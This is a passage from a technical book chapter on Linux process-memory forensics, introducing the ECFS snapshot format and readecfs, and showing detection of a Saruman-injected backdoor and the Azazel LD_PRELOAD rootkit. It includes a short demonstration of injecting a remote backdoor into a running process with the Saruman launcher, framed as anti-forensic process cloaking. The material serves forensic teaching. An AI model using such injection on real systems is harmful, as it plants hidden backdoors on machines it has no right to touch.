skill that builds on itself through experience. This chapter served as a primer for the 
subject so that the beginner can get some insights into how they should get started. 
In the next chapter, we will be discussing process forensics, and you will learn how 
the ECFS technology can make it much easier.

After you have completed this chapter and the next, I recommend that you use  
some of the tools cited in this chapter to infect some processes on your system  
and experiment with the ways of detecting them.
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ECFS – Extended Core File 
Snapshot Technology

Extended Core File Snapshot (ECFS) technology is a piece of software that plugs 
into the Linux core handler and creates specialized process memory snapshots 
specifically designed with process memory forensics in mind. Most people have no 
idea how to parse a process image, let alone how to examine one for anomalies. Even 
for experts, it can be an arduous task to look at a process image and detect infections 
or malware.

Before ECFS, there existed no real standard for snapshotting of a process image 
other than using core files, which can be created on demand using the gcore script 
that comes with most Linux distributions. As briefly discussed in the previous 
chapter, regular core files are not particularly useful for process forensics analysis. 
This is why ECFS core files came into existence—to provide a file format that can 
describe every nuance of a process image so that it can be efficiently analyzed, easily 
navigated, and easily integrated with malware analysis and process forensics tools.

In this chapter, we will discuss the basics of ECFS and how to use ECFS core files and 
the libecfs API to rapidly design malware analysis and forensics tools.

History
In 2011, I created a software prototype titled Linux VMA Monitor (http://www.
bitlackeys.org/#vmavudu) for a DARPA contract. This software was designed 
to look at live process memory or raw snapshots of process memory. It was able to 
detect all sorts of runtime infections, including shared library injection, PLT/GOT 
hijacking, and other anomalies that indicate runtime malware.

http://www.bitlackeys.org/#vmavudu
http://www.bitlackeys.org/#vmavudu
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In more recent times, I considered rewriting this software into a more finished state, 
and I felt that a native snapshot format for process memory would be a really nice 
feature. This was the initial inspiration for developing ECFS, and although I have 
canceled my plans of reviving the Linux VMA Monitor software for now, I am 
continuing to expand and develop the ECFS software as it is of great value to many 
other people's projects. It is even being incorporated into the Lotan product, which 
is a piece of software used to detect exploitation attempts by analyzing crash dumps 
(http://www.leviathansecurity.com/lotan).

The ECFS philosophy
ECFS is all about making runtime analysis of a program easier than ever before. 
The entire process is encased within a single file, and it is organized in such a way 
that locating and accessing data and code that is critical for detecting anomalies 
and infections is achievable through orderly and efficient means. This is primarily 
done through parsing section headers to access useful data, such as symbol tables, 
dynamic linking data, and forensics-relevant structures.

Getting started with ECFS
At the time of writing this chapter, the complete ECFS project and source code is 
available at http://github.com/elfmaster/ecfs. Once you have cloned the 
repository with git, you should compile and install the software as described  
in the README file.

Currently, ECFS has two modes of use:

• Plugging ECFS into the core handler
• ECFS snapshots without killing the process

In this chapter, the terms ECFS files, ECFS snapshots, and ECFS core files 
are used interchangeably.

Plugging ECFS into the core handler
The first thing is to plug the ECFS core handler into the Linux kernel. The make 
install will accomplish this for you, but it must be done after every reboot or  
stored in an init script. The manual way of setting up the ECFS core handler  
is by modifying the /proc/sys/kernel/core_pattern file.

http://www.leviathansecurity.com/lotan
http://github.com/elfmaster/ecfs
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This is the command used to activate the ECFS core handler:

echo '|/opt/ecfs/bin/ecfs_handler -t -e %e -p %p -o \  
  /opt/ecfs/cores/%e.%p' > /proc/sys/kernel/core_pattern

Notice that the -t option is set. This is very important for forensics and 
it should rarely be turned off. This option tells ECFS to capture the entire 
text segment for any executable or shared library mappings. In traditional 
core files, the text images are truncated to 4k. Later in this chapter, we 
will also examine the -h option (heuristics), which can be set to enable 
extended heuristics in order to detect shared library injection.

The ecfs_handler binary will invoke either ecfs32 or ecfs64 depending on 
whether the process is 64 bit or 32 bit. The pipe symbol (|) at the front of the line 
that we write into the procfs core_pattern entry tells the kernel to pipe the core 
files it produces into the standard input of our ECFS core handler process. The ECFS 
core handler then transforms the traditional core file into a highly customized and 
spectacular ECFS core file. Anytime if a process crashes or is delivered a signal  
that causes a core dump, such as SIGSEGV or SIGABRT, then the ECFS core 
handler will step in and instrument the core file creation with its own special  
set of procedures for creating an ECFS-style core dump.

Here's an example of capturing an ECFS snapshot of sshd:

$ kill -ABRT `pidof sshd`

$ ls -lh /opt/ecfs/cores

-rwxrwx--- 1 root root 8244638 Jul 24 13:36 sshd.1211

$

Having ECFS as the default core file handler is very nice and perfectly suitable for 
everyday use. This is because ECFS cores are backwards compatible with traditional 
core files and can be used with debuggers such as GDB. However, there are times 
when a user may want to capture an ECFS snapshot without having to kill the 
process. This is where the ECFS snapshot tool comes into usefulness.

ECFS snapshots without killing the process
Let's consider a scenario where there is a suspicious process running. It is suspicious 
because it is consuming a lot of CPU and it has network sockets open even though 
it is known not to be a network program of any kind. In such a scenario, it may be 
desirable to leave the process running so that a potential attacker is not yet alerted, 
but still have the capability to produce an ECFS core file. The ecfs_snapshot utility 
should be used in these cases.
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The ecfs_snapshot utility ultimately uses the ptrace system call, which means  
two things:

• It may take noticeably longer to snapshot the process
• It may be ineffective against processes that use anti-debugging techniques to 

prevent ptrace from attaching

In cases where either of these issues becomes a problem, you may have to consider 
using the ECFS core handler for the job, in which case you will have to kill the 
process. In most situations, however, the ecfs_snapshot utility will work.

Here's an example of capturing an ECFS snapshot with the snapshot utility:

$ ecfs_snapshot -p `pidof host` -o host_snapshot

This snapshots the process for the program host and creates an ECFS snapshot called 
host_snapshot. In the following sections, we will demonstrate some actual use 
cases of ECFS and take a look at the ECFS files with a variety of utilities.

libecfs – a library for parsing ECFS files
The ECFS file format is very easy to parse with traditional ELF utilities, such as 
readelf, but to build parsing tools that are custom, I highly recommend that you use 
the libecfs library. This library is specifically designed for easy parsing of ECFS core 
files. It will be demonstrated with slightly more details later in this chapter when we 
look at designing advanced malware analysis tools to detect infected processes.

libecfs is also used in the ongoing development of the readecfs utility, which is 
a tool for parsing ECFS files, and is very similar to the commonly known readelf 
utility. Note that libecfs is included with the ECFS package on the GitHub repository.

readecfs
The readecfs utility will be used throughout the rest of this chapter while 
demonstrating the different ECFS features. Here is a synopsis of the tool from 
readecfs -h:

Usage: readecfs [-RAPSslphega] <ecfscore>
-a  print all (equiv to -Sslphega)
-s  print symbol table info
-l  print shared library names
-p  print ELF program headers
-S  print ELF section headers
-h  print ELF header
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-g  print PLTGOT info
-A  print Auxiliary vector
-P  print personality info
-e  print ecfs specific (auiliary vector, process state, sockets, 
pipes, fd's, etc.)

-[View raw data from a section]
-R <ecfscore> <section>

-[Copy an ELF section into a file (Similar to objcopy)]
-O <ecfscore> .section <outfile>

-[Extract and decompress /proc/$pid from .procfs.tgz section into 
directory]
-X <ecfscore> <output_dir>

Examples:
readecfs -e <ecfscore>
readecfs -Ag <ecfscore>
readecfs -R <ecfscore> .stack
readecfs -R <ecfscore> .bss
readecfs -eR <ecfscore> .heap
readecfs -O <ecfscore> .vdso vdso_elf.so
readecfs -X <ecfscore> procfs_dir

Examining an infected process using 
ECFS
Before we show the effectiveness of ECFS with a real-world example, it would be 
helpful to have a little background of the method of infection that we will use from 
a hacker's perspective. It is often very useful for a hacker to be able to incorporate 
anti-forensic techniques into their workflow on compromised systems so that their 
programs, especially the ones that serve as backdoors and such, can remain hidden 
to the untrained eye.

One such technique is to perform process cloaking. This is the act of running a 
program inside of an existing process, ideally inside of a process that is known to 
be benign but persistent, such as ftpd or sshd. The Saruman anti-forensics exec 
(http://www.bitlackeys.org/#saruman) allows an attacker to inject a complete, 
dynamically linked PIE executable into an existing process address space and run it.

http://www.bitlackeys.org/#saruman
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It uses a thread injection technique so that the injected program can run 
simultaneously with the host program. This particular hacker technique was 
something that I came up with and designed in 2013, but I have no doubt that 
other such tools have existed for much longer than this in the underground scene. 
Typically, this type of anti-forensic technique would go unnoticed and would be 
very difficult to detect.

Let's see what type of efficiency and accuracy we can achieve by analyzing such a 
process with ECFS technology.

Infecting the host process
The host process is a benign process, and typically it would be something like sshd 
or ftpd, as already mentioned. For the sake of our example, we will use a simple and 
persistent program called host; it simply runs in an infinite loop, printing a message 
on the screen. We will then inject a remote server backdoor into the process using the 
Saruman anti-forensics exec launcher program.

In terminal 1, run the host program:

$ ./host

I am the host

I am the host

I am the host

In terminal 2, inject the backdoor into the process:

$ ./launcher `pidof host` ./server

[+] Thread injection succeeded, tid: 16187

[+] Saruman successfully injected program: ./server

[+] PT_DETACHED -> 16186

$

Capturing and analyzing an ECFS snapshot
Now, if we capture a snapshot of the process either by using the ecfs_snapshot 
utility or by signaling the process to the core dump, we can begin our examination.
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The symbol table analysis
Let's look at the symbol table analysis of the host.16186 snapshot:

 readelf -s host.16186

Symbol table '.dynsym' contains 6 entries:

   Num:    Value          Size Type    Bind   Vis      Ndx Name

     0: 00007fba3811e000     0 NOTYPE  LOCAL  DEFAULT  UND

     1: 00007fba3818de30     0 FUNC    GLOBAL DEFAULT  UND puts

     2: 00007fba38209860     0 FUNC    GLOBAL DEFAULT  UND write

     3: 00007fba3813fdd0     0 FUNC    GLOBAL DEFAULT  UND __libc_start_
main

     4: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__

     5: 00007fba3818c4e0     0 FUNC    GLOBAL DEFAULT  UND fopen

Symbol table '.symtab' contains 6 entries:

   Num:    Value          Size Type    Bind   Vis      Ndx Name

     0: 0000000000400470    96 FUNC    GLOBAL DEFAULT   10 sub_400470

     1: 00000000004004d0    42 FUNC    GLOBAL DEFAULT   10 sub_4004d0

     2: 00000000004005bd    50 FUNC    GLOBAL DEFAULT   10 sub_4005bd

     3: 00000000004005ef    69 FUNC    GLOBAL DEFAULT   10 sub_4005ef

     4: 0000000000400640   101 FUNC    GLOBAL DEFAULT   10 sub_400640

     5: 00000000004006b0     2 FUNC    GLOBAL DEFAULT   10 sub_4006b0

The readelf command allows us to view the symbol tables. Notice that a symbol 
table exists for both the dynamic symbols in .dynsym and the symbols for local 
functions, which are stored in the .symtab symbol table. ECFS is able to reconstruct 
the dynamic symbol table by accessing the dynamic segment and finding DT_SYMTAB.

The .symtab symbol table is a bit trickier but extremely valuable. ECFS 
uses a special method of parsing the PT_GNU_EH_FRAME segment that 
contains frame description entries in a dwarf format; these are used for 
exception handling. This information is useful for gathering the location 
and size of every single function defined within the binary.
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In cases such as functions being obfuscated, tools such as IDA would fail to identify 
every function defined within a binary or core file, but the ECFS technology 
will succeed. This is one of the major impacts that ECFS makes on the reverse 
engineering world—a near-foolproof method of locating and sizing every function 
and producing a symbol table. In the host.16186 file, the symbol table is fully 
reconstructed. This is useful because it could aid us in detecting whether or not any 
PLT/GOT hooks are being used to redirect shared library functions, and if so, we can 
identify the actual names of functions that have been hijacked.

The section header analysis
Now, let's look at the section header analysis of the host.16186 snapshot.

My version of readelf has been slightly modified so that it recognizes the following 
custom types: SHT_INJECTED and SHT_PRELOADED. Without this modification to 
readelf, it will simply show the numerical values associated with those definitions. 
Check out include/ecfs.h for the definitions, and add them to the readelf source 
code if you like:

$ readelf -S host.16186

There are 46 section headers, starting at offset 0x255464:

Section Headers:

  [Nr] Name              Type             Address           Offset

       Size              EntSize          Flags  Link  Info  Align

  [ 0]                   NULL             0000000000000000  00000000

       0000000000000000  0000000000000000           0     0     0

  [ 1] .interp           PROGBITS         0000000000400238  00002238

       000000000000001c  0000000000000000   A       0     0     1

  [ 2] .note             NOTE             0000000000000000  000005f0

       000000000000133c  0000000000000000   A       0     0     4

  [ 3] .hash             GNU_HASH         0000000000400298  00002298

       000000000000001c  0000000000000000   A       0     0     4

  [ 4] .dynsym           DYNSYM           00000000004002b8  000022b8

       0000000000000090  0000000000000018   A       5     0     8

  [ 5] .dynstr           STRTAB           0000000000400348  00002348

       0000000000000049  0000000000000018   A       0     0     1

  [ 6] .rela.dyn         RELA             00000000004003c0  000023c0

       0000000000000018  0000000000000018   A       4     0     8

  [ 7] .rela.plt         RELA             00000000004003d8  000023d8
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       0000000000000078  0000000000000018   A       4     0     8

  [ 8] .init             PROGBITS         0000000000400450  00002450

       000000000000001a  0000000000000000  AX       0     0     8

  [ 9] .plt              PROGBITS         0000000000400470  00002470

       0000000000000060  0000000000000010  AX       0     0     16

  [10] ._TEXT            PROGBITS         0000000000400000  00002000

       0000000000001000  0000000000000000  AX       0     0     16

  [11] .text             PROGBITS         00000000004004d0  000024d0

       00000000000001e2  0000000000000000           0     0     16

  [12] .fini             PROGBITS         00000000004006b4  000026b4

       0000000000000009  0000000000000000  AX       0     0     16

  [13] .eh_frame_hdr     PROGBITS         00000000004006e8  000026e8

       000000000000003c  0000000000000000  AX       0     0     4

  [14] .eh_frame         PROGBITS         0000000000400724  00002728

       0000000000000114  0000000000000000  AX       0     0     8

  [15] .ctors            PROGBITS         0000000000600e10  00003e10

       0000000000000008  0000000000000008   A       0     0     8

  [16] .dtors            PROGBITS         0000000000600e18  00003e18

       0000000000000008  0000000000000008   A       0     0     8

  [17] .dynamic          DYNAMIC          0000000000600e28  00003e28

       00000000000001d0  0000000000000010  WA       0     0     8

  [18] .got.plt          PROGBITS         0000000000601000  00004000

       0000000000000048  0000000000000008  WA       0     0     8

  [19] ._DATA            PROGBITS         0000000000600000  00003000

       0000000000001000  0000000000000000  WA       0     0     8

  [20] .data             PROGBITS         0000000000601040  00004040

       0000000000000010  0000000000000000  WA       0     0     8

  [21] .bss              PROGBITS         0000000000601050  00004050

       0000000000000008  0000000000000000  WA       0     0     8

  [22] .heap             PROGBITS         0000000000e9c000  00006000

       0000000000021000  0000000000000000  WA       0     0     8

  [23] .elf.dyn.0        INJECTED         00007fba37f1b000  00038000

       0000000000001000  0000000000000000  AX       0     0     8

  [24] libc-2.19.so.text SHLIB            00007fba3811e000  0003b000

       00000000001bb000  0000000000000000   A       0     0     8
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  [25] libc-2.19.so.unde SHLIB            00007fba382d9000  001f6000

       00000000001ff000  0000000000000000   A       0     0     8

  [26] libc-2.19.so.relr SHLIB            00007fba384d8000  001f6000

       0000000000004000  0000000000000000   A       0     0     8

  [27] libc-2.19.so.data SHLIB            00007fba384dc000  001fa000

       0000000000002000  0000000000000000   A       0     0     8

  [28] ld-2.19.so.text   SHLIB            00007fba384e3000  00201000

       0000000000023000  0000000000000000   A       0     0     8

  [29] ld-2.19.so.relro  SHLIB            00007fba38705000  0022a000

       0000000000001000  0000000000000000   A       0     0     8

  [30] ld-2.19.so.data   SHLIB            00007fba38706000  0022b000

       0000000000001000  0000000000000000   A       0     0     8

  [31] .procfs.tgz       LOUSER+0         0000000000000000  00254388

       00000000000010dc  0000000000000001           0     0     8

  [32] .prstatus         PROGBITS         0000000000000000  00253000

       00000000000002a0  0000000000000150           0     0     8

  [33] .fdinfo           PROGBITS         0000000000000000  002532a0

       0000000000000ac8  0000000000000228           0     0     4

  [34] .siginfo          PROGBITS         0000000000000000  00253d68

       0000000000000080  0000000000000080           0     0     4

  [35] .auxvector        PROGBITS         0000000000000000  00253de8

       0000000000000130  0000000000000008           0     0     8

  [36] .exepath          PROGBITS         0000000000000000  00253f18

       000000000000001c  0000000000000008           0     0     1

  [37] .personality      PROGBITS         0000000000000000  00253f34

       0000000000000004  0000000000000004           0     0     1

  [38] .arglist          PROGBITS         0000000000000000  00253f38

       0000000000000050  0000000000000001           0     0     1

  [39] .fpregset         PROGBITS         0000000000000000  00253f88

       0000000000000400  0000000000000200           0     0     8

  [40] .stack            PROGBITS         00007fff4447c000  0022d000

       0000000000021000  0000000000000000  WA       0     0     8

  [41] .vdso             PROGBITS         00007fff444a9000  0024f000

       0000000000002000  0000000000000000  WA       0     0     8
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  [42] .vsyscall         PROGBITS         ffffffffff600000  00251000

       0000000000001000  0000000000000000  WA       0     0     8

  [43] .symtab           SYMTAB           0000000000000000  0025619d

       0000000000000090  0000000000000018          44     0     4

  [44] .strtab           STRTAB           0000000000000000  0025622d

       0000000000000042  0000000000000000           0     0     1

  [45] .shstrtab         STRTAB           0000000000000000  00255fe4

       00000000000001b9  0000000000000000           0     0     1

Section 23 is of particular interest to us; it has been marked as a suspicious ELF object 
with the injected denotation:

  [23] .elf.dyn.0        INJECTED         00007fba37f1b000  00038000

       0000000000001000  0000000000000000  AX       0     0     8 

When the ECFS heuristics detects an ELF object as suspicious and it can't find that 
particular object in its list of mapped shared libraries, it names the section in the 
following format:

.elf.<type>.<count>

The type can be one of four:

• ET_NONE

• ET_EXEC

• ET_DYN

• ET_REL

In our example, it is obviously ET_DYN, represented as dyn. The count is simply the 
index of injected objects that have been found. In this case, the index is 0 as it is the 
first and only injected ELF object that was found in this particular process.

The type INJECTED obviously denotes that the section contains an ELF object that 
was determined suspicious or injected through unnatural means. In this particular 
case, the process was infected with Saruman (described earlier), which injects  
a Position-Independent Executable (PIE). A PIE executable is of type ET_DYN,  
similar to shared libraries, which is why ECFS has marked it as such.
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Extracting parasite code with readecfs
We have spotted a section in the ECFS core file that relates to parasitic code, which 
is an injected PIE executable in this case. The next step is to investigate the code 
itself. This can be done in one of the following ways: the objdump utility or a more 
advanced disassembler such as IDA pro can be used to navigate to the section called 
.elf.dyn.0, or the readecfs utility can first be used to extract the parasitic code 
from the ECFS core file:

$ readecfs -O host.16186 .elf.dyn.0 parasite_code.exe

- readecfs output for file host.16186

- Executable path (.exepath): /home/ryan/git/saruman/host

- Command line: ./host                                                                          

[+] Copying section data from '.elf.dyn.0' into output file 'parasite_
code.exe'

We now have a singular copy of the parasite code that has been extracted from the 
process image, thanks to ECFS. The task of identifying this particular malware and 
then extracting it would be an extremely tedious task without ECFS. Now we can 
examine parasite_code.exe as a separate file, open it up in IDA, and so on:

root@elfmaster:~/ecfs/cores# readelf -l parasite_code.exe
readelf: Error: Unable to read in 0x40 bytes of section headers
readelf: Error: Unable to read in 0x780 bytes of section headers

Elf file type is DYN (Shared object file)
Entry point 0xdb0
There are 9 program headers, starting at offset 64

Program Headers:
 Type        Offset             VirtAddr           PhysAddr
              FileSiz            MemSiz              Flags  Align
 PHDR         0x0000000000000040 0x0000000000000040 0x0000000000000040
              0x00000000000001f8 0x00000000000001f8  R E    8
 INTERP       0x0000000000000238 0x0000000000000238 0x0000000000000238
              0x000000000000001c 0x000000000000001c  R      1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
 LOAD         0x0000000000000000 0x0000000000000000 0x0000000000000000
              0x0000000000001934 0x0000000000001934  R E    200000
 LOAD         0x0000000000001df0 0x0000000000201df0 0x0000000000201df0
              0x0000000000000328 0x0000000000000330  RW     200000
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 DYNAMIC      0x0000000000001e08 0x0000000000201e08 0x0000000000201e08
              0x00000000000001d0 0x00000000000001d0  RW     8
 NOTE         0x0000000000000254 0x0000000000000254 0x0000000000000254
              0x0000000000000044 0x0000000000000044  R      4
 GNU_EH_FRAME 0x00000000000017e0 0x00000000000017e0 0x00000000000017e0
              0x000000000000003c 0x000000000000003c  R      4
  GNU_STACK   0x0000000000000000 0x0000000000000000 0x0000000000000000
              0x0000000000000000 0x0000000000000000  RW     10
  GNU_RELRO   0x0000000000001df0 0x0000000000201df0 0x0000000000201df0
              0x0000000000000210 0x0000000000000210  R      1
readelf: Error: Unable to read in 0x1d0 bytes of dynamic section

Notice that readelf is complaining in the preceding output. This is because the 
parasite that we extracted does not have a section header table of its own. In future, 
the readecfs utility will be able to reconstruct a minimal section header table for 
mapped ELF objects that are extracted from the overall ECFS core file.

Analyzing the Azazel userland rootkit
As mentioned in Chapter 7, Process Memory Forensics, the Azazel userland rootkit is 
a userland rootkit that infects a process by means of LD_PRELOAD, where the Azazel 
shared library is linked to the process, and hijacks various libc functions. In Chapter 
7, Process Memory Forensics, we used GDB and readelf to inspect a process for this 
particular rootkit infection. Now let's try the ECFS method to do this type of process 
introspection. The following is an ECFS snapshot of a process from the executable 
host2 that has been infected with the Azazel rootkit.

The symbol table of the host2 process 
reconstructed
Now, this is the symbol table of host2 with process reconstruction:

$ readelf -s host2.7254

Symbol table '.dynsym' contains 7 entries:

   Num:    Value          Size Type    Bind   Vis      Ndx Name

     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND

     1: 00007f0a0d0ed070     0 FUNC    GLOBAL DEFAULT  UND unlink

     2: 00007f0a0d06fe30     0 FUNC    GLOBAL DEFAULT  UND puts

     3: 00007f0a0d0bcef0     0 FUNC    GLOBAL DEFAULT  UND opendir

     4: 00007f0a0d021dd0     0 FUNC    GLOBAL DEFAULT  UND __libc_start_
main
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     5: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__

     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fopen

Symbol table '.symtab' contains 5 entries:

   Num:    Value          Size Type    Bind   Vis      Ndx Name

     0: 00000000004004b0   112 FUNC    GLOBAL DEFAULT   10 sub_4004b0

     1: 0000000000400520    42 FUNC    GLOBAL DEFAULT   10 sub_400520

     2: 000000000040060d    68 FUNC    GLOBAL DEFAULT   10 sub_40060d

     3: 0000000000400660   101 FUNC    GLOBAL DEFAULT   10 sub_400660

     4: 00000000004006d0     2 FUNC    GLOBAL DEFAULT   10 sub_4006d0

We can see from the preceding symbol table that host2 is a simple program and has 
only a few shared library calls (this is shown in the .dynsym symbol table): unlink, 
puts, opendir, and fopen.

The section header table of the host2 process 
reconstructed
Let's see what the section header table of host2 looks like with process 
reconstruction:

$ readelf -S host2.7254

There are 65 section headers, starting at offset 0x27e1ee:

Section Headers:

  [Nr] Name              Type             Address           Offset

       Size              EntSize          Flags  Link  Info  Align

  [ 0]                   NULL             0000000000000000  00000000

       0000000000000000  0000000000000000           0     0     0

  [ 1] .interp           PROGBITS         0000000000400238  00002238

       000000000000001c  0000000000000000   A       0     0     1

  [ 2] .note             NOTE             0000000000000000  00000900

       000000000000105c  0000000000000000   A       0     0     4

  [ 3] .hash             GNU_HASH         0000000000400298  00002298

       000000000000001c  0000000000000000   A       0     0     4

  [ 4] .dynsym           DYNSYM           00000000004002b8  000022b8

       00000000000000a8  0000000000000018   A       5     0     8
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  [ 5] .dynstr           STRTAB           0000000000400360  00002360

       0000000000000052  0000000000000018   A       0     0     1

  [ 6] .rela.dyn         RELA             00000000004003e0  000023e0

       0000000000000018  0000000000000018   A       4     0     8

  [ 7] .rela.plt         RELA             00000000004003f8  000023f8

       0000000000000090  0000000000000018   A       4     0     8

  [ 8] .init             PROGBITS         0000000000400488  00002488

       000000000000001a  0000000000000000  AX       0     0     8

  [ 9] .plt              PROGBITS         00000000004004b0  000024b0

       0000000000000070  0000000000000010  AX       0     0     16

  [10] ._TEXT            PROGBITS         0000000000400000  00002000

       0000000000001000  0000000000000000  AX       0     0     16

  [11] .text             PROGBITS         0000000000400520  00002520

       00000000000001b2  0000000000000000           0     0     16

  [12] .fini             PROGBITS         00000000004006d4  000026d4

       0000000000000009  0000000000000000  AX       0     0     16

  [13] .eh_frame_hdr     PROGBITS         0000000000400708  00002708

       0000000000000034  0000000000000000  AX       0     0     4

  [14] .eh_frame         PROGBITS         000000000040073c  00002740

       00000000000000f4  0000000000000000  AX       0     0     8

  [15] .ctors            PROGBITS         0000000000600e10  00003e10

       0000000000000008  0000000000000008   A       0     0     8

  [16] .dtors            PROGBITS         0000000000600e18  00003e18

       0000000000000008  0000000000000008   A       0     0     8

  [17] .dynamic          DYNAMIC          0000000000600e28  00003e28

       00000000000001d0  0000000000000010  WA       0     0     8

  [18] .got.plt          PROGBITS         0000000000601000  00004000

       0000000000000050  0000000000000008  WA       0     0     8

  [19] ._DATA            PROGBITS         0000000000600000  00003000

       0000000000001000  0000000000000000  WA       0     0     8

  [20] .data             PROGBITS         0000000000601048  00004048

       0000000000000010  0000000000000000  WA       0     0     8

  [21] .bss              PROGBITS         0000000000601058  00004058

       0000000000000008  0000000000000000  WA       0     0     8

  [22] .heap             PROGBITS         0000000000602000  00005000

       0000000000021000  0000000000000000  WA       0     0     8
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  [23] libaudit.so.1.0.0 SHLIB            0000003001000000  00026000

       0000000000019000  0000000000000000   A       0     0     8

  [24] libaudit.so.1.0.0 SHLIB            0000003001019000  0003f000

       00000000001ff000  0000000000000000   A       0     0     8

  [25] libaudit.so.1.0.0 SHLIB            0000003001218000  0003f000

       0000000000001000  0000000000000000   A       0     0     8

  [26] libaudit.so.1.0.0 SHLIB            0000003001219000  00040000

       0000000000001000  0000000000000000   A       0     0     8

  [27] libpam.so.0.83.1. SHLIB            0000003003400000  00041000

       000000000000d000  0000000000000000   A       0     0     8

  [28] libpam.so.0.83.1. SHLIB            000000300340d000  0004e000

       00000000001ff000  0000000000000000   A       0     0     8

  [29] libpam.so.0.83.1. SHLIB            000000300360c000  0004e000

       0000000000001000  0000000000000000   A       0     0     8

  [30] libpam.so.0.83.1. SHLIB            000000300360d000  0004f000

       0000000000001000  0000000000000000   A       0     0     8

  [31] libutil-2.19.so.t SHLIB            00007f0a0cbf9000  00050000

       0000000000002000  0000000000000000   A       0     0     8

  [32] libutil-2.19.so.u SHLIB            00007f0a0cbfb000  00052000

       00000000001ff000  0000000000000000   A       0     0     8

  [33] libutil-2.19.so.r SHLIB            00007f0a0cdfa000  00052000

       0000000000001000  0000000000000000   A       0     0     8

  [34] libutil-2.19.so.d SHLIB            00007f0a0cdfb000  00053000

       0000000000001000  0000000000000000   A       0     0     8

  [35] libdl-2.19.so.tex SHLIB            00007f0a0cdfc000  00054000

       0000000000003000  0000000000000000   A       0     0     8

  [36] libdl-2.19.so.und SHLIB            00007f0a0cdff000  00057000

       00000000001ff000  0000000000000000   A       0     0     8

  [37] libdl-2.19.so.rel SHLIB            00007f0a0cffe000  00057000

       0000000000001000  0000000000000000   A       0     0     8

  [38] libdl-2.19.so.dat SHLIB            00007f0a0cfff000  00058000

       0000000000001000  0000000000000000   A       0     0     8

  [39] libc-2.19.so.text SHLIB            00007f0a0d000000  00059000

       00000000001bb000  0000000000000000   A       0     0     8

  [40] libc-2.19.so.unde SHLIB            00007f0a0d1bb000  00214000

       00000000001ff000  0000000000000000   A       0     0     8

  [41] libc-2.19.so.relr SHLIB            00007f0a0d3ba000  00214000

       0000000000004000  0000000000000000   A       0     0     8
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  [42] libc-2.19.so.data SHLIB            00007f0a0d3be000  00218000

       0000000000002000  0000000000000000   A       0     0     8

  [43] azazel.so.text    PRELOADED        00007f0a0d3c5000  0021f000

       0000000000008000  0000000000000000   A       0     0     8

  [44] azazel.so.undef   PRELOADED        00007f0a0d3cd000  00227000

       00000000001ff000  0000000000000000   A       0     0     8

  [45] azazel.so.relro   PRELOADED        00007f0a0d5cc000  00227000

       0000000000001000  0000000000000000   A       0     0     8

  [46] azazel.so.data    PRELOADED        00007f0a0d5cd000  00228000

       0000000000001000  0000000000000000   A       0     0     8

  [47] ld-2.19.so.text   SHLIB            00007f0a0d5ce000  00229000

       0000000000023000  0000000000000000   A       0     0     8

  [48] ld-2.19.so.relro  SHLIB            00007f0a0d7f0000  00254000

       0000000000001000  0000000000000000   A       0     0     8

  [49] ld-2.19.so.data   SHLIB            00007f0a0d7f1000  00255000

       0000000000001000  0000000000000000   A       0     0     8

  [50] .procfs.tgz       LOUSER+0         0000000000000000  0027d038

       00000000000011b6  0000000000000001           0     0     8

  [51] .prstatus         PROGBITS         0000000000000000  0027c000

       0000000000000150  0000000000000150           0     0     8

  [52] .fdinfo           PROGBITS         0000000000000000  0027c150

       0000000000000ac8  0000000000000228           0     0     4

  [53] .siginfo          PROGBITS         0000000000000000  0027cc18

       0000000000000080  0000000000000080           0     0     4

  [54] .auxvector        PROGBITS         0000000000000000  0027cc98

       0000000000000130  0000000000000008           0     0     8

  [55] .exepath          PROGBITS         0000000000000000  0027cdc8

       000000000000001c  0000000000000008           0     0     1

  [56] .personality      PROGBITS         0000000000000000  0027cde4

       0000000000000004  0000000000000004           0     0     1

  [57] .arglist          PROGBITS         0000000000000000  0027cde8

       0000000000000050  0000000000000001           0     0     1

  [58] .fpregset         PROGBITS         0000000000000000  0027ce38

       0000000000000200  0000000000000200           0     0     8

  [59] .stack            PROGBITS         00007ffdb9161000  00257000

       0000000000021000  0000000000000000  WA       0     0     8
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  [60] .vdso             PROGBITS         00007ffdb918f000  00279000

       0000000000002000  0000000000000000  WA       0     0     8

  [61] .vsyscall         PROGBITS         ffffffffff600000  0027b000

       0000000000001000  0000000000000000  WA       0     0     8

  [62] .symtab           SYMTAB           0000000000000000  0027f576

       0000000000000078  0000000000000018          63     0     4

  [63] .strtab           STRTAB           0000000000000000  0027f5ee

       0000000000000037  0000000000000000           0     0     1

  [64] .shstrtab         STRTAB           0000000000000000  0027f22e

       0000000000000348  0000000000000000           0     0     1

The ELF sections 43 through 46 are all immediately suspicious because they are 
marked with the PRELOADED section type, which indicates that they are mappings 
from a shared library that was preloaded with the LD_PRELOAD environment variable:

  [43] azazel.so.text    PRELOADED        00007f0a0d3c5000  0021f000

       0000000000008000  0000000000000000   A       0     0     8

  [44] azazel.so.undef   PRELOADED        00007f0a0d3cd000  00227000

       00000000001ff000  0000000000000000   A       0     0     8

  [45] azazel.so.relro   PRELOADED        00007f0a0d5cc000  00227000

       0000000000001000  0000000000000000   A       0     0     8

  [46] azazel.so.data    PRELOADED        00007f0a0d5cd000  00228000

       0000000000001000  0000000000000000   A       0     0     8

Various userland rootkits, such as Azazel, use LD_PRELOAD as their means of 
injection. The next step is to look at the PLT/GOT (global offset table) and check 
whether it contains any pointers to functions outside of the respective boundaries.

You might recall from previous chapters that the GOT contains a table of pointer 
values that should point to either of these:

• A PLT stub in the corresponding PLT entry (remember the lazy linking 
concepts from Chapter 2, The ELF Binary Format)

• If the particular GOT entry has already been resolved by the linker in some 
way (lazy or strict linking), then it will point to the shared library function 
denoted by the corresponding relocation entry from the .rela.plt section  
of the executable
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Validating the PLT/GOT with ECFS
Understanding and systematically validating the integrity of the PLT/GOT is 
tedious by hand. Fortunately, there is a very easy way to do this with ECFS. If you 
prefer to write your own tool, then you should use the libecfs function that is 
designed specifically for this purpose:

ssize_t get_pltgot_info(ecfs_elf_t *desc, pltgot_info_t **pginfo)

This function allocates an array of structs, each element pertaining to a single  
PLT/GOT entry.

The C struct named pltgot_info_t has the following format:

typedef struct pltgotinfo {
   unsigned long got_site; // addr of the GOT entry itself
   unsigned long got_entry_va; // pointer value stored in the GOT 
entry
   unsigned long plt_entry_va; // the expected PLT address
